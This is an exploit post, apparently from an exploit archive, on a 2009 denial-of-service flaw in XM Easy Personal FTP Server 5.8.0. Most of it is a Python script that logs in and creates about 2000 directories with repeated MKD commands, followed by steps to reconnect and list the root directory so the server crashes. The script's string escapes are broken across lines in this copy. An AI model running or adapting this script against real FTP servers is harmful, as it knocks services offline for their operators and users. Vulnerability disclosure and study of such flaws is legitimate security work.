Home / exploits

PDF

xmepftp580-dos.txt

Posted on 24 November 2009

###################

Date of Discovery: 24-Nov-2009

Credits:leinakesi[at]gmail.com

Vendor: Dxmsoft
*******************************************************************************
Affected:

XM Easy Personal FTP Server 5.8.0
Earlier versions may also be affected
*******************************************************************************
Overview:

XM Easy Personal FTP Server failed to handle more than 2000 files or folders in

the root directory.
*******************************************************************************
Details:

if you could log on the server, take the following steps and the server will

crash which lead to DoS.

1.upload 2000 files or folders.
2.close the current connection.
3.use a ftp client to reconnect the server.
user ...
pass ...
port ...
list ...
crash!!!!!!
*******************************************************************************
Exploit example:

1.upload 2000 folders.
#!/usr/bin/python
import socket
import sys

def Usage():
print ("Usage:  ./expl.py <serv_ip>      <Username> <password>
")
print ("Example:./expl.py 192.168.48.183 anonymous anonymous
")
if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
passwd=sys.argv[3]
test_string='a'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
sock.send("user %s
" %username)
r=sock.recv(1024)
sock.send("pass %s
" %passwd)

for i in range(1,200):
sock.send("mkd " + "a" * i +"
")
print "[-] " + ("mkd " + "a" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "b" * i +"
")
print "[-] " + ("mkd " + "b" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "c" * i +"
")
print "[-] " + ("mkd " + "c" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "d" * i +"
")
print "[-] " + ("mkd " + "d" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "e" * i +"
")
print "[-] " + ("mkd " + "e" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "f" * i +"
")
print "[-] " + ("mkd " + "f" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "g" * i +"
")
print "[-] " + ("mkd " + "g" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "h" * i +"
")
print "[-] " + ("mkd " + "h" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "i" * i +"
")
print "[-] " + ("mkd " + "i" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"
for i in range(1,200):
sock.send("mkd " + "j" * i +"
")
print "[-] " + ("mkd " + "j" * i +"
")
r=sock.recv(1024)
print "[+] " + r + "
"

sock.close()
sys.exit(0);

2.use a ftp client to reconnect the server
for example:
start->run->cmd->ftp 127.0.0.1->*****->*****->dir

 

TOP